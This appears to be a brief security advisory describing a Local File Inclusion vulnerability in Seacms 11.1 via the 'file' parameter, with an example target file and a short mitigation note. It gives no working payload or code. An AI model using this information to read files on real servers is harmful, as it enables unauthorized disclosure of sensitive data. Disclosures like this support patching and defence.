Seacms 11.1 – ‘file’ Local File Inclusion

Seacms 11.1 is vulnerable to Local File Inclusion (LFI) vulnerability. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with malicious payload to the vulnerable parameter 'file'. The payload can be used to read the content of any file on the server, such as C:/windows/system.ini. This can lead to sensitive information disclosure.

Mitigation:

The best way to mitigate this vulnerability is to restrict access to the vulnerable parameter 'file' and validate the user input.
